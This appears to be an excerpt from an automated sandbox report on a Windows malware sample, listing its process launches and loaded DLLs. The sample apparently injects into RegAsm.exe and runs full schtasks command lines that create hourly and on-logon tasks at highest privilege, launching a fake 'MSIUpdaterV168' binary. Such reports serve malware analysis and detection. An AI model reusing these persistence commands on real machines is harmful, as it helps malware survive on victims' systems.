Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3920 -s 264
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe"
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7148 -s 320
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 HR" /sc HOURLY /rl HIGHEST
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe"
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7288 -s 280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
